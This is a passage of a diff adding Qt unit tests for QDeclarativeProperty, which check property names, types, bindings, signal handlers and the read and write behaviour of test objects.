+ QCOMPARE(prop.needsNotifySignal(), true);
+ QCOMPARE(prop.connectNotifySignal(0, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, 0), false);
+ QCOMPARE(prop.connectNotifySignal(0, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, -1), false);
+ QVERIFY(prop.method().signature() == 0);
+ QCOMPARE(prop.type(), QDeclarativeProperty::Property);
+ QCOMPARE(prop.isProperty(), true);
+ QCOMPARE(prop.isWritable(), false);
+ QCOMPARE(prop.isDesignable(), true);
+ QCOMPARE(prop.isResettable(), false);
+ QCOMPARE(prop.isSignalProperty(), false);
+ QCOMPARE(prop.isValid(), true);
+ QCOMPARE(prop.object(), qobject_cast<QObject*>(&dobject));
+ QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::Normal);
+ QCOMPARE(prop.propertyType(), (int)QVariant::Int);
+ QCOMPARE(prop.propertyTypeName(), "int");
+ QCOMPARE(QString(prop.property().name()), QString("defaultProperty"));
+ QVERIFY(QDeclarativePropertyPrivate::binding(prop) == 0);
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: Unable to assign null to int");
+ QVERIFY(QDeclarativePropertyPrivate::setBinding(prop, binding.data()) == 0);
+ QVERIFY(binding != 0);
+ QVERIFY(QDeclarativePropertyPrivate::binding(prop) == binding.data());
+ QVERIFY(QDeclarativePropertyPrivate::signalExpression(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setSignalExpression(prop, expression.data()) == 0);
+ QVERIFY(expression == 0);
+ QCOMPARE(prop.index(), dobject.metaObject()->indexOfProperty("defaultProperty"));
+ QCOMPARE(QDeclarativePropertyPrivate::valueTypeCoreIndex(prop), -1);
+
+ delete obj;
+ }
+
+ {
+ QDeclarativeProperty prop(&dobject, QString("onClicked"));
+
+ QWeakPointer<QDeclarativeBinding> binding(new QDeclarativeBinding(QLatin1String("null"), 0, engine.rootContext()));
+ binding.data()->setTarget(prop);
+ QVERIFY(binding != 0);
+ QWeakPointer<QDeclarativeExpression> expression(new QDeclarativeExpression());
+ QVERIFY(expression != 0);
+
+ QObject *obj = new QObject;
+
+ QCOMPARE(prop.name(), QString("onClicked"));
+ QCOMPARE(prop.read(), QVariant());
+ QCOMPARE(prop.write(QVariant("Hello")), false);
+ QCOMPARE(prop.hasNotifySignal(), false);
+ QCOMPARE(prop.needsNotifySignal(), false);
+ QCOMPARE(prop.connectNotifySignal(0, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, 0), false);
+ QCOMPARE(prop.connectNotifySignal(0, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, -1), false);
+ QCOMPARE(QString(prop.method().signature()), QString("clicked()"));
+ QCOMPARE(prop.type(), QDeclarativeProperty::SignalProperty);
+ QCOMPARE(prop.isProperty(), false);
+ QCOMPARE(prop.isWritable(), false);
+ QCOMPARE(prop.isDesignable(), false);
+ QCOMPARE(prop.isResettable(), false);
+ QCOMPARE(prop.isSignalProperty(), true);
+ QCOMPARE(prop.isValid(), true);
+ QCOMPARE(prop.object(), qobject_cast<QObject*>(&dobject));
+ QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory);
+ QCOMPARE(prop.propertyType(), 0);
+ QCOMPARE(prop.propertyTypeName(), (const char *)0);
+ QCOMPARE(prop.property().name(), (const char *)0);
+ QVERIFY(QDeclarativePropertyPrivate::binding(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setBinding(prop, binding.data()) == 0);
+ QVERIFY(binding == 0);
+ QVERIFY(QDeclarativePropertyPrivate::signalExpression(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setSignalExpression(prop, expression.data()) == 0);
+ QVERIFY(expression != 0);
+ QVERIFY(QDeclarativePropertyPrivate::signalExpression(prop) == expression.data());
+ QCOMPARE(prop.index(), dobject.metaObject()->indexOfMethod("clicked()"));
+ QCOMPARE(QDeclarativePropertyPrivate::valueTypeCoreIndex(prop), -1);
+
+ delete obj;
+ }
+
+ {
+ QDeclarativeProperty prop(&dobject, QString("onPropertyWithNotifyChanged"));
+
+ QWeakPointer<QDeclarativeBinding> binding(new QDeclarativeBinding(QLatin1String("null"), 0, engine.rootContext()));
+ binding.data()->setTarget(prop);
+ QVERIFY(binding != 0);
+ QWeakPointer<QDeclarativeExpression> expression(new QDeclarativeExpression());
+ QVERIFY(expression != 0);
+
+ QObject *obj = new QObject;
+
+ QCOMPARE(prop.name(), QString("onOddlyNamedNotifySignal"));
+ QCOMPARE(prop.read(), QVariant());
+ QCOMPARE(prop.write(QVariant("Hello")), false);
+ QCOMPARE(prop.hasNotifySignal(), false);
+ QCOMPARE(prop.needsNotifySignal(), false);
+ QCOMPARE(prop.connectNotifySignal(0, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, 0), false);
+ QCOMPARE(prop.connectNotifySignal(0, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, -1), false);
+ QCOMPARE(QString(prop.method().signature()), QString("oddlyNamedNotifySignal()"));
+ QCOMPARE(prop.type(), QDeclarativeProperty::SignalProperty);
+ QCOMPARE(prop.isProperty(), false);
+ QCOMPARE(prop.isWritable(), false);
+ QCOMPARE(prop.isDesignable(), false);
+ QCOMPARE(prop.isResettable(), false);
+ QCOMPARE(prop.isSignalProperty(), true);
+ QCOMPARE(prop.isValid(), true);
+ QCOMPARE(prop.object(), qobject_cast<QObject*>(&dobject));
+ QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory);
+ QCOMPARE(prop.propertyType(), 0);
+ QCOMPARE(prop.propertyTypeName(), (const char *)0);
+ QCOMPARE(prop.property().name(), (const char *)0);
+ QVERIFY(QDeclarativePropertyPrivate::binding(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setBinding(prop, binding.data()) == 0);
+ QVERIFY(binding == 0);
+ QVERIFY(QDeclarativePropertyPrivate::signalExpression(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setSignalExpression(prop, expression.data()) == 0);
+ QVERIFY(expression != 0);
+ QVERIFY(QDeclarativePropertyPrivate::signalExpression(prop) == expression.data());
+ QCOMPARE(prop.index(), dobject.metaObject()->indexOfMethod("oddlyNamedNotifySignal()"));
+ QCOMPARE(QDeclarativePropertyPrivate::valueTypeCoreIndex(prop), -1);
+
+ delete obj;
+ }
+}
+
+void tst_qdeclarativeproperty::qmlmetaproperty_object_context()
+{
+ QObject object; // Has no default property
+ PropertyObject dobject; // Has default property
+
+ {
+ QDeclarativeProperty prop(&object, engine.rootContext());
+
+ QWeakPointer<QDeclarativeBinding> binding(new QDeclarativeBinding(QLatin1String("null"), 0, engine.rootContext()));
+ QVERIFY(binding != 0);
+ QWeakPointer<QDeclarativeExpression> expression(new QDeclarativeExpression());
+ QVERIFY(expression != 0);
+
+ QObject *obj = new QObject;
+
+ QCOMPARE(prop.name(), QString());
+ QCOMPARE(prop.read(), QVariant());
+ QCOMPARE(prop.write(QVariant()), false);
+ QCOMPARE(prop.hasNotifySignal(), false);
+ QCOMPARE(prop.needsNotifySignal(), false);
+ QCOMPARE(prop.connectNotifySignal(0, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, 0), false);
+ QCOMPARE(prop.connectNotifySignal(0, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, -1), false);
+ QVERIFY(prop.method().signature() == 0);
+ QCOMPARE(prop.type(), QDeclarativeProperty::Invalid);
+ QCOMPARE(prop.isProperty(), false);
+ QCOMPARE(prop.isWritable(), false);
+ QCOMPARE(prop.isDesignable(), false);
+ QCOMPARE(prop.isResettable(), false);
+ QCOMPARE(prop.isSignalProperty(), false);
+ QCOMPARE(prop.isValid(), false);
+ QCOMPARE(prop.object(), (QObject *)0);
+ QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory);
+ QCOMPARE(prop.propertyType(), 0);
+ QCOMPARE(prop.propertyTypeName(), (const char *)0);
+ QVERIFY(prop.property().name() == 0);
+ QVERIFY(QDeclarativePropertyPrivate::binding(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setBinding(prop, binding.data()) == 0);
+ QVERIFY(binding == 0);
+ QVERIFY(QDeclarativePropertyPrivate::signalExpression(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setSignalExpression(prop, expression.data()) == 0);
+ QVERIFY(expression == 0);
+ QCOMPARE(prop.index(), -1);
+ QCOMPARE(QDeclarativePropertyPrivate::valueTypeCoreIndex(prop), -1);
+
+ delete obj;
+ }
+
+ {
+ QDeclarativeProperty prop(&dobject, engine.rootContext());
+
+ QWeakPointer<QDeclarativeBinding> binding(new QDeclarativeBinding(QLatin1String("null"), 0, engine.rootContext()));
+ binding.data()->setTarget(prop);
+ QVERIFY(binding != 0);
+ QWeakPointer<QDeclarativeExpression> expression(new QDeclarativeExpression());
+ QVERIFY(expression != 0);
+
+ QObject *obj = new QObject;
+
+ QCOMPARE(prop.name(), QString("defaultProperty"));
+ QCOMPARE(prop.read(), QVariant(10));
+ QCOMPARE(prop.write(QVariant()), false);
+ QCOMPARE(prop.hasNotifySignal(), false);
+ QCOMPARE(prop.needsNotifySignal(), true);
+ QCOMPARE(prop.connectNotifySignal(0, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, 0), false);
+ QCOMPARE(prop.connectNotifySignal(0, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, -1), false);
+ QVERIFY(prop.method().signature() == 0);
+ QCOMPARE(prop.type(), QDeclarativeProperty::Property);
+ QCOMPARE(prop.isProperty(), true);
+ QCOMPARE(prop.isWritable(), false);
+ QCOMPARE(prop.isDesignable(), true);
+ QCOMPARE(prop.isResettable(), false);
+ QCOMPARE(prop.isSignalProperty(), false);
+ QCOMPARE(prop.isValid(), true);
+ QCOMPARE(prop.object(), qobject_cast<QObject*>(&dobject));
+ QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::Normal);
+ QCOMPARE(prop.propertyType(), (int)QVariant::Int);
+ QCOMPARE(prop.propertyTypeName(), "int");
+ QCOMPARE(QString(prop.property().name()), QString("defaultProperty"));
+ QVERIFY(QDeclarativePropertyPrivate::binding(prop) == 0);
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: Unable to assign null to int");
+ QVERIFY(QDeclarativePropertyPrivate::setBinding(prop, binding.data()) == 0);
+ QVERIFY(binding != 0);
+ QVERIFY(QDeclarativePropertyPrivate::binding(prop) == binding.data());
+ QVERIFY(QDeclarativePropertyPrivate::signalExpression(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setSignalExpression(prop, expression.data()) == 0);
+ QVERIFY(expression == 0);
+ QCOMPARE(prop.index(), dobject.metaObject()->indexOfProperty("defaultProperty"));
+ QCOMPARE(QDeclarativePropertyPrivate::valueTypeCoreIndex(prop), -1);
+
+ delete obj;
+ }
+}
+
+void tst_qdeclarativeproperty::qmlmetaproperty_object_string_context()
+{
+ QObject object;
+ PropertyObject dobject;
+
+ {
+ QDeclarativeProperty prop(&object, QString("defaultProperty"), engine.rootContext());
+
+ QWeakPointer<QDeclarativeBinding> binding(new QDeclarativeBinding(QLatin1String("null"), 0, engine.rootContext()));
+ QVERIFY(binding != 0);
+ QWeakPointer<QDeclarativeExpression> expression(new QDeclarativeExpression());
+ QVERIFY(expression != 0);
+
+ QObject *obj = new QObject;
+
+ QCOMPARE(prop.name(), QString());
+ QCOMPARE(prop.read(), QVariant());
+ QCOMPARE(prop.write(QVariant()), false);
+ QCOMPARE(prop.hasNotifySignal(), false);
+ QCOMPARE(prop.needsNotifySignal(), false);
+ QCOMPARE(prop.connectNotifySignal(0, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, 0), false);
+ QCOMPARE(prop.connectNotifySignal(0, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, -1), false);
+ QVERIFY(prop.method().signature() == 0);
+ QCOMPARE(prop.type(), QDeclarativeProperty::Invalid);
+ QCOMPARE(prop.isProperty(), false);
+ QCOMPARE(prop.isWritable(), false);
+ QCOMPARE(prop.isDesignable(), false);
+ QCOMPARE(prop.isResettable(), false);
+ QCOMPARE(prop.isSignalProperty(), false);
+ QCOMPARE(prop.isValid(), false);
+ QCOMPARE(prop.object(), (QObject *)0);
+ QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory);
+ QCOMPARE(prop.propertyType(), 0);
+ QCOMPARE(prop.propertyTypeName(), (const char *)0);
+ QVERIFY(prop.property().name() == 0);
+ QVERIFY(QDeclarativePropertyPrivate::binding(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setBinding(prop, binding.data()) == 0);
+ QVERIFY(binding == 0);
+ QVERIFY(QDeclarativePropertyPrivate::signalExpression(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setSignalExpression(prop, expression.data()) == 0);
+ QVERIFY(expression == 0);
+ QCOMPARE(prop.index(), -1);
+ QCOMPARE(QDeclarativePropertyPrivate::valueTypeCoreIndex(prop), -1);
+
+ delete obj;
+ }
+
+ {
+ QDeclarativeProperty prop(&dobject, QString("defaultProperty"), engine.rootContext());
+
+ QWeakPointer<QDeclarativeBinding> binding(new QDeclarativeBinding(QLatin1String("null"), 0, engine.rootContext()));
+ binding.data()->setTarget(prop);
+ QVERIFY(binding != 0);
+ QWeakPointer<QDeclarativeExpression> expression(new QDeclarativeExpression());
+ QVERIFY(expression != 0);
+
+ QObject *obj = new QObject;
+
+ QCOMPARE(prop.name(), QString("defaultProperty"));
+ QCOMPARE(prop.read(), QVariant(10));
+ QCOMPARE(prop.write(QVariant()), false);
+ QCOMPARE(prop.hasNotifySignal(), false);
+ QCOMPARE(prop.needsNotifySignal(), true);
+ QCOMPARE(prop.connectNotifySignal(0, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, 0), false);
+ QCOMPARE(prop.connectNotifySignal(0, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, -1), false);
+ QVERIFY(prop.method().signature() == 0);
+ QCOMPARE(prop.type(), QDeclarativeProperty::Property);
+ QCOMPARE(prop.isProperty(), true);
+ QCOMPARE(prop.isWritable(), false);
+ QCOMPARE(prop.isDesignable(), true);
+ QCOMPARE(prop.isResettable(), false);
+ QCOMPARE(prop.isSignalProperty(), false);
+ QCOMPARE(prop.isValid(), true);
+ QCOMPARE(prop.object(), qobject_cast<QObject*>(&dobject));
+ QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::Normal);
+ QCOMPARE(prop.propertyType(), (int)QVariant::Int);
+ QCOMPARE(prop.propertyTypeName(), "int");
+ QCOMPARE(QString(prop.property().name()), QString("defaultProperty"));
+ QVERIFY(QDeclarativePropertyPrivate::binding(prop) == 0);
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: Unable to assign null to int");
+ QVERIFY(QDeclarativePropertyPrivate::setBinding(prop, binding.data()) == 0);
+ QVERIFY(binding != 0);
+ QVERIFY(QDeclarativePropertyPrivate::binding(prop) == binding.data());
+ QVERIFY(QDeclarativePropertyPrivate::signalExpression(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setSignalExpression(prop, expression.data()) == 0);
+ QVERIFY(expression == 0);
+ QCOMPARE(prop.index(), dobject.metaObject()->indexOfProperty("defaultProperty"));
+ QCOMPARE(QDeclarativePropertyPrivate::valueTypeCoreIndex(prop), -1);
+
+ delete obj;
+ }
+
+ {
+ QDeclarativeProperty prop(&dobject, QString("onClicked"), engine.rootContext());
+
+ QWeakPointer<QDeclarativeBinding> binding(new QDeclarativeBinding(QLatin1String("null"), 0, engine.rootContext()));
+ binding.data()->setTarget(prop);
+ QVERIFY(binding != 0);
+ QWeakPointer<QDeclarativeExpression> expression(new QDeclarativeExpression());
+ QVERIFY(expression != 0);
+
+ QObject *obj = new QObject;
+
+ QCOMPARE(prop.name(), QString("onClicked"));
+ QCOMPARE(prop.read(), QVariant());
+ QCOMPARE(prop.write(QVariant("Hello")), false);
+ QCOMPARE(prop.hasNotifySignal(), false);
+ QCOMPARE(prop.needsNotifySignal(), false);
+ QCOMPARE(prop.connectNotifySignal(0, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, 0), false);
+ QCOMPARE(prop.connectNotifySignal(0, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, -1), false);
+ QCOMPARE(QString(prop.method().signature()), QString("clicked()"));
+ QCOMPARE(prop.type(), QDeclarativeProperty::SignalProperty);
+ QCOMPARE(prop.isProperty(), false);
+ QCOMPARE(prop.isWritable(), false);
+ QCOMPARE(prop.isDesignable(), false);
+ QCOMPARE(prop.isResettable(), false);
+ QCOMPARE(prop.isSignalProperty(), true);
+ QCOMPARE(prop.isValid(), true);
+ QCOMPARE(prop.object(), qobject_cast<QObject*>(&dobject));
+ QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory);
+ QCOMPARE(prop.propertyType(), 0);
+ QCOMPARE(prop.propertyTypeName(), (const char *)0);
+ QCOMPARE(prop.property().name(), (const char *)0);
+ QVERIFY(QDeclarativePropertyPrivate::binding(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setBinding(prop, binding.data()) == 0);
+ QVERIFY(binding == 0);
+ QVERIFY(QDeclarativePropertyPrivate::signalExpression(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setSignalExpression(prop, expression.data()) == 0);
+ QVERIFY(expression != 0);
+ QVERIFY(QDeclarativePropertyPrivate::signalExpression(prop) == expression.data());
+ QCOMPARE(prop.index(), dobject.metaObject()->indexOfMethod("clicked()"));
+ QCOMPARE(QDeclarativePropertyPrivate::valueTypeCoreIndex(prop), -1);
+
+ delete obj;
+ }
+
+ {
+ QDeclarativeProperty prop(&dobject, QString("onPropertyWithNotifyChanged"), engine.rootContext());
+
+ QWeakPointer<QDeclarativeBinding> binding(new QDeclarativeBinding(QLatin1String("null"), 0, engine.rootContext()));
+ binding.data()->setTarget(prop);
+ QVERIFY(binding != 0);
+ QWeakPointer<QDeclarativeExpression> expression(new QDeclarativeExpression());
+ QVERIFY(expression != 0);
+
+ QObject *obj = new QObject;
+
+ QCOMPARE(prop.name(), QString("onOddlyNamedNotifySignal"));
+ QCOMPARE(prop.read(), QVariant());
+ QCOMPARE(prop.write(QVariant("Hello")), false);
+ QCOMPARE(prop.hasNotifySignal(), false);
+ QCOMPARE(prop.needsNotifySignal(), false);
+ QCOMPARE(prop.connectNotifySignal(0, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, SLOT(deleteLater())), false);
+ QCOMPARE(prop.connectNotifySignal(obj, 0), false);
+ QCOMPARE(prop.connectNotifySignal(0, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, obj->metaObject()->indexOfMethod("deleteLater()")), false);
+ QCOMPARE(prop.connectNotifySignal(obj, -1), false);
+ QCOMPARE(QString(prop.method().signature()), QString("oddlyNamedNotifySignal()"));
+ QCOMPARE(prop.type(), QDeclarativeProperty::SignalProperty);
+ QCOMPARE(prop.isProperty(), false);
+ QCOMPARE(prop.isWritable(), false);
+ QCOMPARE(prop.isDesignable(), false);
+ QCOMPARE(prop.isResettable(), false);
+ QCOMPARE(prop.isSignalProperty(), true);
+ QCOMPARE(prop.isValid(), true);
+ QCOMPARE(prop.object(), qobject_cast<QObject*>(&dobject));
+ QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory);
+ QCOMPARE(prop.propertyType(), 0);
+ QCOMPARE(prop.propertyTypeName(), (const char *)0);
+ QCOMPARE(prop.property().name(), (const char *)0);
+ QVERIFY(QDeclarativePropertyPrivate::binding(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setBinding(prop, binding.data()) == 0);
+ QVERIFY(binding == 0);
+ QVERIFY(QDeclarativePropertyPrivate::signalExpression(prop) == 0);
+ QVERIFY(QDeclarativePropertyPrivate::setSignalExpression(prop, expression.data()) == 0);
+ QVERIFY(expression != 0);
+ QVERIFY(QDeclarativePropertyPrivate::signalExpression(prop) == expression.data());
+ QCOMPARE(prop.index(), dobject.metaObject()->indexOfMethod("oddlyNamedNotifySignal()"));
+ QCOMPARE(QDeclarativePropertyPrivate::valueTypeCoreIndex(prop), -1);
+
+ delete obj;
+ }
+}
+
+void tst_qdeclarativeproperty::name()
+{
+ {
+ QDeclarativeProperty p;
+ QCOMPARE(p.name(), QString());
+ }
+
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o);
+ QCOMPARE(p.name(), QString("defaultProperty"));
+ }
+
+ {
+ QObject o;
+ QDeclarativeProperty p(&o, QString("objectName"));
+ QCOMPARE(p.name(), QString("objectName"));
+ }
+
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, "onClicked");
+ QCOMPARE(p.name(), QString("onClicked"));
+ }
+
+ {
+ QObject o;
+ QDeclarativeProperty p(&o, "onClicked");
+ QCOMPARE(p.name(), QString());
+ }
+
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, "onPropertyWithNotifyChanged");
+ QCOMPARE(p.name(), QString("onOddlyNamedNotifySignal"));
+ }
+
+ {
+ QObject o;
+ QDeclarativeProperty p(&o, "onPropertyWithNotifyChanged");
+ QCOMPARE(p.name(), QString());
+ }
+
+ {
+ QObject o;
+ QDeclarativeProperty p(&o, "foo");
+ QCOMPARE(p.name(), QString());
+ }
+
+ {
+ QDeclarativeProperty p(0, "foo");
+ QCOMPARE(p.name(), QString());
+ }
+
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, "rectProperty");
+ QCOMPARE(p.name(), QString("rectProperty"));
+ }
+
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, "rectProperty.x");
+ QCOMPARE(p.name(), QString("rectProperty.x"));
+ }
+
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, "rectProperty.foo");
+ QCOMPARE(p.name(), QString());
+ }
+}
+
+void tst_qdeclarativeproperty::read()
+{
+ // Invalid
+ {
+ QDeclarativeProperty p;
+ QCOMPARE(p.read(), QVariant());
+ }
+
+ // Default prop
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o);
+ QCOMPARE(p.read(), QVariant(10));
+ }
+
+ // Invalid default prop
+ {
+ QObject o;
+ QDeclarativeProperty p(&o);
+ QCOMPARE(p.read(), QVariant());
+ }
+
+ // Value prop by name
+ {
+ QObject o;
+
+ QDeclarativeProperty p(&o, "objectName");
+ QCOMPARE(p.read(), QVariant(QString()));
+
+ o.setObjectName("myName");
+
+ QCOMPARE(p.read(), QVariant("myName"));
+ }
+
+ // Value prop by name (static)
+ {
+ QObject o;
+
+ QCOMPARE(QDeclarativeProperty::read(&o, "objectName"), QVariant(QString()));
+
+ o.setObjectName("myName");
+
+ QCOMPARE(QDeclarativeProperty::read(&o, "objectName"), QVariant("myName"));
+ }
+
+ // Value-type prop
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, "rectProperty.x");
+ QCOMPARE(p.read(), QVariant(10));
+ }
+
+ // Invalid value-type prop
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, "rectProperty.foo");
+ QCOMPARE(p.read(), QVariant());
+ }
+
+ // Signal property
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, "onClicked");
+ QCOMPARE(p.read(), QVariant());
+
+ QVERIFY(0 == QDeclarativePropertyPrivate::setSignalExpression(p, new QDeclarativeExpression()));
+ QVERIFY(0 != QDeclarativePropertyPrivate::signalExpression(p));
+
+ QCOMPARE(p.read(), QVariant());
+ }
+
+ // Automatic signal property
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, "onPropertyWithNotifyChanged");
+ QCOMPARE(p.read(), QVariant());
+
+ QVERIFY(0 == QDeclarativePropertyPrivate::setSignalExpression(p, new QDeclarativeExpression()));
+ QVERIFY(0 != QDeclarativePropertyPrivate::signalExpression(p));
+
+ QCOMPARE(p.read(), QVariant());
+ }
+
+ // Deleted object
+ {
+ PropertyObject *o = new PropertyObject;
+ QDeclarativeProperty p(o, "rectProperty.x");
+ QCOMPARE(p.read(), QVariant(10));
+ delete o;
+ QCOMPARE(p.read(), QVariant());
+ }
+
+ // Object property
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, "qmlObject");
+ QCOMPARE(p.propertyTypeCategory(), QDeclarativeProperty::Object);
+ QCOMPARE(p.propertyType(), qMetaTypeId<MyQmlObject*>());
+ QVariant v = p.read();
+ QVERIFY(v.userType() == QMetaType::QObjectStar);
+ QVERIFY(qvariant_cast<QObject *>(v) == o.qmlObject());
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("readSynthesizedObject.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QDeclarativeProperty p(object, "test", &engine);
+
+ QCOMPARE(p.propertyTypeCategory(), QDeclarativeProperty::Object);
+ QVERIFY(p.propertyType() != QMetaType::QObjectStar);
+
+ QVariant v = p.read();
+ QVERIFY(v.userType() == QMetaType::QObjectStar);
+ QCOMPARE(qvariant_cast<QObject *>(v)->property("a").toInt(), 10);
+ QCOMPARE(qvariant_cast<QObject *>(v)->property("b").toInt(), 19);
+ }
+ { // static
+ QDeclarativeComponent component(&engine, TEST_FILE("readSynthesizedObject.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QVariant v = QDeclarativeProperty::read(object, "test", &engine);
+ QVERIFY(v.userType() == QMetaType::QObjectStar);
+ QCOMPARE(qvariant_cast<QObject *>(v)->property("a").toInt(), 10);
+ QCOMPARE(qvariant_cast<QObject *>(v)->property("b").toInt(), 19);
+ }
+
+ // Attached property
+ {
+ QDeclarativeComponent component(&engine);
+ component.setData("import Test 1.0\nMyContainer { }", QUrl());
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QDeclarativeProperty p(object, "MyContainer.foo", qmlContext(object));
+ QCOMPARE(p.read(), QVariant(13));
+ delete object;
+ }
+ {
+ QDeclarativeComponent component(&engine);
+ component.setData("import Test 1.0\nMyContainer { MyContainer.foo: 10 }", QUrl());
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QDeclarativeProperty p(object, "MyContainer.foo", qmlContext(object));
+ QCOMPARE(p.read(), QVariant(10));
+ delete object;
+ }
+ {
+ QDeclarativeComponent component(&engine);
+ component.setData("import Test 1.0 as Foo\nFoo.MyContainer { Foo.MyContainer.foo: 10 }", QUrl());
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QDeclarativeProperty p(object, "Foo.MyContainer.foo", qmlContext(object));
+ QCOMPARE(p.read(), QVariant(10));
+ delete object;
+ }
+ { // static
+ QDeclarativeComponent component(&engine);
+ component.setData("import Test 1.0 as Foo\nFoo.MyContainer { Foo.MyContainer.foo: 10 }", QUrl());
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(QDeclarativeProperty::read(object, "Foo.MyContainer.foo", qmlContext(object)), QVariant(10));
+ delete object;
+ }
+}
+
+void tst_qdeclarativeproperty::write()
+{
+ // Invalid
+ {
+ QDeclarativeProperty p;
+ QCOMPARE(p.write(QVariant(10)), false);
+ }
+
+ // Read-only default prop
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o);
+ QCOMPARE(p.write(QVariant(10)), false);
+ }
+
+ // Invalid default prop
+ {
+ QObject o;
+ QDeclarativeProperty p(&o);
+ QCOMPARE(p.write(QVariant(10)), false);
+ }
+
+ // Read-only prop by name
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, QString("defaultProperty"));
+ QCOMPARE(p.write(QVariant(10)), false);
+ }
+
+ // Writable prop by name
+ {
+ PropertyObject o;
+ QDeclarativeProperty p(&o, QString("objectName"));
+ QCOMPARE(o.objectName(), QString());
